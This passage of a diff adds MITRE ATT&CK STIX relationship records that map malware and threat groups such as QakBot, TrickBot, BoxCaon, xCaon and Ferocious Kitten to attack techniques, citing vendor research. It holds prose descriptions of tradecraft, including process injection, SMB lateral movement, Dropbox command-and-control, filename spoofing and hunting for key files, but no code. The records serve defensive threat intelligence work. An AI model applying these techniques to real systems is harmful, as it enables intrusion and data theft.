2021.", + "source_name": "Trend Micro Qakbot December 2020" + }, + { + "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot", + "description": "Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.", + "source_name": "ATT QakBot April 2021" + }, + { + "url": "https://securelist.com/qakbot-technical-analysis/103931/", + "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.", + "source_name": "Kaspersky QakBot September 2021" + }, + { + "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp", + "description": "Group IB. (2020, September). LOCK LIKE A PRO. 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Retrieved September 27, 2021.", + "source_name": "Kaspersky QakBot September 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8235c444-415e-49ee-8ed9-10c24075be1f", + "description": "[QakBot](https://attack.mitre.org/software/S0650) can inject itself into processes including explore.exe, Iexplore.exe, and Mobsync.exe.(Citation: Trend Micro Qakbot May 2020)(Citation: Kroll Qakbot June 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Kaspersky QakBot September 2021)", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "modified": "2021-09-30T13:49:35.807Z", + "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-27T20:30:18.705Z", + "external_references": [ + { + "url": "https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files", + "description": "Mendoza, E. et al. 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Retrieved September 27, 2021.", + "source_name": "Trend Micro Qakbot December 2020" + }, + { + "url": "https://blog.cyberint.com/qakbot-banking-trojan", + "description": "Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.", + "source_name": "Cyberint Qakbot May 2021" + }, + { + "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp", + "description": "Group IB. (2020, September). LOCK LIKE A PRO. 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(2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. 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(2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.", + "source_name": "Kaspersky Ferocious Kitten Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--27c7f9ed-dd66-4bc0-a186-2f05aac6d6df", + "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can look for files carrying specific extensions such as: .rtf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pps, .ppsx, .txt, .gpg, .pkr, .kdbx, .key, and .jpb.(Citation: Kaspersky Ferocious Kitten Jun 2021)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2021-10-15T15:03:46.303Z", + "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T18:53:02.562Z", + "external_references": [ + { + "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", + "description": "GReAT. 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(2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.", + "source_name": "Kaspersky Ferocious Kitten Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e9375a8c-4574-40a9-a3c2-a9fe036928a6", + "description": "[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has acquired domains imitating legitimate sites.(Citation: Kaspersky Ferocious Kitten Jun 2021)", + "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "modified": "2021-10-11T18:39:18.080Z", + "source_ref": "intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T19:47:10.879Z", + "external_references": [ + { + "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", + "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.", + "source_name": "Kaspersky Ferocious Kitten Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--59d3a882-3f6d-442a-8fbe-bb2f9cecd2f5", + "description": "[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has named malicious files update.exe and loaded them into the compromise host's \u201cPublic\u201d folder.(Citation: Kaspersky Ferocious Kitten Jun 2021)", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2021-10-11T17:43:50.365Z", + "source_ref": "intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T19:47:10.896Z", + "external_references": [ + { + "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", + "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.", + "source_name": "Kaspersky Ferocious Kitten Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--54501ca8-7205-4b83-87cb-b2235bc0ec71", + "description": "[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has used right-to-left override to reverse executables\u2019 names to make them appear to have different file extensions, rather than their real ones.(Citation: Kaspersky Ferocious Kitten Jun 2021)", + "target_ref": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69", + "modified": "2021-10-11T17:43:50.352Z", + "source_ref": "intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T19:47:10.887Z", + "external_references": [ + { + "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", + "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.", + "source_name": "Kaspersky Ferocious Kitten Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--471ea836-ef54-4306-b131-cf66de5811c4", + "description": "[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has attempted to convince victims to enable malicious content within a spearphishing email by including an odd decoy message.(Citation: Kaspersky Ferocious Kitten Jun 2021)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2021-10-11T17:43:50.387Z", + "source_ref": "intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T19:47:10.886Z", + "external_references": [ + { + "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", + "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.", + "source_name": "Kaspersky Ferocious Kitten Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8f8caa9d-b728-4b54-88b0-b7cd3646f437", + "description": "[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has conducted spearphishing campaigns containing malicious documents to lure victims to open the attachments.(Citation: Kaspersky Ferocious Kitten Jun 2021)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2021-10-11T17:43:50.369Z", + "source_ref": "intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T19:47:10.935Z", + "external_references": [ + { + "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", + "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.", + "source_name": "Kaspersky Ferocious Kitten Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3ccaef78-13bd-40e8-bb4b-b5d203303262", + "description": "(Citation: Kaspersky Ferocious Kitten Jun 2021)", + "target_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", + "modified": "2021-09-28T19:47:10.936Z", + "source_ref": "intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T19:47:10.936Z", + "external_references": [ + { + "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", + "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.", + "source_name": "Kaspersky Ferocious Kitten Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--670efee1-b854-4d39-85b1-b6038e3580e3", + "description": "[QakBot](https://attack.mitre.org/software/S0650) can move laterally using worm-like functionality through exploitation of SMB.(Citation: Crowdstrike Qakbot October 2020)", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "modified": "2021-09-28T19:49:13.903Z", + "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T19:49:13.903Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", + "description": "CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.", + "source_name": "Crowdstrike Qakbot October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--aa444f15-777c-4bf6-819b-f03476d59401", + "description": "[QakBot](https://attack.mitre.org/software/S0650) has the ability to download additional components and malware.(Citation: Trend Micro Qakbot May 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Cyberint Qakbot May 2021)(Citation: Kaspersky QakBot September 2021)(Citation: Group IB Ransomware September 2020)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2021-10-01T14:20:22.765Z", + "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T19:55:11.015Z", + "external_references": [ + { + "url": "https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files", + "description": "Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021.", + "source_name": "Trend Micro Qakbot May 2020" + }, + { + "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", + "description": "CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.", + "source_name": "Crowdstrike Qakbot October 2020" + }, + { + "url": "https://success.trendmicro.com/solution/000283381", + "description": "Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021.", + "source_name": "Trend Micro Qakbot December 2020" + }, + { + "url": "https://blog.cyberint.com/qakbot-banking-trojan", + "description": "Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.", + "source_name": "Cyberint Qakbot May 2021" + }, + { + "url": "https://securelist.com/qakbot-technical-analysis/103931/", + "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.", + "source_name": "Kaspersky QakBot September 2021" + }, + { + "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp", + "description": "Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021.", + "source_name": "Group IB Ransomware September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0b440f89-cffb-458c-bc16-c64af09230c6", + "description": "[BoxCaon](https://attack.mitre.org/software/S0651) can execute arbitrary commands and utilize the \"ComSpec\" environment variable.(Citation: Checkpoint IndigoZebra July 2021)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2021-09-28T20:02:51.497Z", + "source_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T19:57:30.599Z", + "external_references": [ + { + "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", + "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.", + "source_name": "Checkpoint IndigoZebra July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1343df30-b011-42f7-b3a3-a5d1d2f0b9c6", + "description": "[QakBot](https://attack.mitre.org/software/S0650) can identify the installed antivirus product on a targeted system.(Citation: Crowdstrike Qakbot October 2020)(Citation: ATT QakBot April 2021)(Citation: ATT QakBot April 2021)(Citation: Kaspersky QakBot September 2021)", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "modified": "2021-10-12T18:16:40.695Z", + "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T19:59:59.096Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", + "description": "CS. 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Retrieved September 27, 2021.", + "source_name": "Kaspersky QakBot September 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d5be9ea1-7bf2-453b-bbca-19a9d82ea532", + "description": "[QakBot](https://attack.mitre.org/software/S0650) can collect system information including the OS version and domain on a compromised host.(Citation: Crowdstrike Qakbot October 2020)(Citation: ATT QakBot April 2021)(Citation: Group IB Ransomware September 2020)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2021-10-12T18:16:40.736Z", + "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T19:59:59.110Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", + "description": "CS. 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Retrieved September 27, 2021.", + "source_name": "Group IB Ransomware September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b38a0fe4-6482-4c13-9def-5c8a82f31226", + "description": "[BoxCaon](https://attack.mitre.org/software/S0651) has the capability to download folders' contents on the system and upload the results back to its Dropbox drive.(Citation: Checkpoint IndigoZebra July 2021)", + "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", + "modified": "2021-09-28T20:43:43.837Z", + "source_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T20:02:51.470Z", + "external_references": [ + { + "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", + "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.", + "source_name": "Checkpoint IndigoZebra July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1c4fd1a5-c3a4-4f71-8310-785962dc65d4", + "description": "[BoxCaon](https://attack.mitre.org/software/S0651) has searched for files on the system, such as documents located in the desktop folder.(Citation: Checkpoint IndigoZebra July 2021)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2021-09-28T20:02:51.487Z", + "source_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T20:02:51.487Z", + "external_references": [ + { + "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", + "description": "CheckPoint Research. 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Retrieved September 24, 2021.", + "source_name": "Checkpoint IndigoZebra July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b82cbc8a-72b9-4f2b-a978-88b066a73cfb", + "description": "[QakBot](https://attack.mitre.org/software/S0650) can make small changes to itself in order to change its checksum and hash value.(Citation: Crowdstrike Qakbot October 2020)(Citation: Cyberint Qakbot May 2021)", + "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", + "modified": "2021-09-30T12:48:38.951Z", + "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T20:06:11.030Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", + "description": "CS. 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Retrieved September 27, 2021.", + "source_name": "Cyberint Qakbot May 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d4ee44c8-c389-4c02-8601-ee7c194d249e", + "description": "[QakBot](https://attack.mitre.org/software/S0650) can Base64 encode system information sent to C2.(Citation: Crowdstrike Qakbot October 2020)(Citation: Kaspersky QakBot September 2021)", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "modified": "2021-09-30T13:49:36.151Z", + "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T20:06:11.034Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", + "description": "CS. (2020, October 7). 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Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. 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Retrieved September 24, 2021.", + "source_name": "Checkpoint IndigoZebra July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--092ae5be-2a12-46ff-8122-2e308d954401", + "description": "[BoxCaon](https://attack.mitre.org/software/S0651) has used DropBox for C2 communications.(Citation: Checkpoint IndigoZebra July 2021) ", + "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "modified": "2021-09-28T20:53:37.671Z", + "source_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T20:53:37.671Z", + "external_references": [ + { + "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", + "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.", + "source_name": "Checkpoint IndigoZebra July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e014c5a8-f9bc-4de5-aa46-55765ac4461c", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) has been known to reach a command and control server via one of nine proxy IP addresses. (Citation: Bitdefender Trickbot C2 infra Nov 2020) (Citation: Bitdefender Trickbot VNC module Whitepaper 2021)", + "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", + "modified": "2021-09-28T22:45:48.771Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T22:45:48.771Z", + "external_references": [ + { + "url": "https://www.bitdefender.com/blog/labs/trickbot-is-dead-long-live-trickbot/", + "description": "Liviu Arsene, Radu Tudorica. (2020, November 23). TrickBot is Dead. Long Live TrickBot!. Retrieved September 28, 2021.", + "source_name": "Bitdefender Trickbot C2 infra Nov 2020" + }, + { + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf ", + "description": "Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot\u2019s Ever-Improving VNC Module. Retrieved September 28, 2021.", + "source_name": "Bitdefender Trickbot VNC module Whitepaper 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3a26d78f-e0cb-4a58-8d84-6d867b32f279", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) has been known to use PowerShell to download new payloads, open documents, and upload data to command and control servers. \n (Citation: Bitdefender Trickbot VNC module Whitepaper 2021)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2021-09-28T22:45:48.678Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T22:45:48.678Z", + "external_references": [ + { + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf ", + "description": "Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot\u2019s Ever-Improving VNC Module. Retrieved September 28, 2021.", + "source_name": "Bitdefender Trickbot VNC module Whitepaper 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--42eb6018-f049-41df-bbfc-6dcb2f079f16", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) has used a VNC module to monitor the victim and collect information to pivot to valuable systems on the network (Citation: Trickbot VNC module July 2021)(Citation: Bitdefender Trickbot VNC module Whitepaper 2021)", + "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", + "modified": "2021-09-28T22:45:48.823Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-28T22:45:48.823Z", + "external_references": [ + { + "url": "https://www.bleepingcomputer.com/news/security/trickbot-updates-its-vnc-module-for-high-value-targets/", + "description": "Ionut Illascu. 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Retrieved September 28, 2021.", + "source_name": "Bitdefender Trickbot VNC module Whitepaper 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ae7cd450-60bc-426b-92df-14d9d1be279b", + "description": "[xCaon](https://attack.mitre.org/software/S0653) has a command to download files to the victim's machine.(Citation: Checkpoint IndigoZebra July 2021)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2021-10-08T15:41:36.568Z", + "source_ref": "malware--21583311-6321-4891-8a37-3eb4e57b0fb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-29T00:04:27.075Z", + "external_references": [ + { + "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", + "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.", + "source_name": "Checkpoint IndigoZebra July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bc531c11-f295-41cc-9de8-2adb201621b5", + "description": "[xCaon](https://attack.mitre.org/software/S0653) has a command to start an interactive shell.(Citation: Checkpoint IndigoZebra July 2021)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2021-09-29T00:04:27.086Z", + "source_ref": "malware--21583311-6321-4891-8a37-3eb4e57b0fb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-29T00:04:27.086Z", + "external_references": [ + { + "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", + "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.", + "source_name": "Checkpoint IndigoZebra July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--51681b8d-71f1-425f-990a-4daa30e6dfa9", + "description": "(Citation: Checkpoint IndigoZebra July 2021)", + "target_ref": "malware--21583311-6321-4891-8a37-3eb4e57b0fb1", + "modified": "2021-09-29T00:10:03.012Z", + "source_ref": "intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-29T00:10:03.012Z", + "external_references": [ + { + "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", + "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.", + "source_name": "Checkpoint IndigoZebra July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c9342b34-f936-4913-aaee-71fcc5347fd4", + "description": "[xCaon](https://attack.mitre.org/software/S0653) has leveraged native OS function calls to retrieve victim's network adapter's information using GetAdapterInfo() API.(Citation: Checkpoint IndigoZebra July 2021) ", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "modified": "2021-10-08T15:41:36.632Z", + "source_ref": "malware--21583311-6321-4891-8a37-3eb4e57b0fb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-29T00:30:23.816Z", + "external_references": [ + { + "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", + "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. 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Retrieved September 29, 2021.", + "source_name": "CISA AA20-239A BeagleBoyz August 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--03e7f671-763a-4027-af51-d01606c14a2a", + "description": "[QakBot](https://attack.mitre.org/software/S0650) can use Regsvr32 to execute malicious DLLs.(Citation: Red Canary Qbot)(Citation: Cyberint Qakbot May 2021)(Citation: ATT QakBot April 2021)", + "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "modified": "2021-10-12T18:16:40.771Z", + "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-30T12:22:35.676Z", + "external_references": [ + { + "url": "https://redcanary.com/threat-detection-report/threats/qbot/", + "description": "Rainey, K. (n.d.). Qbot. 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Retrieved September 27, 2021.", + "source_name": "ATT QakBot April 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c039483a-5e0f-47be-b614-0d766eda9e0f", + "description": "[QakBot](https://attack.mitre.org/software/S0650) can store its configuration information in a randomly named subkey under HKCU\\Software\\Microsoft.(Citation: Red Canary 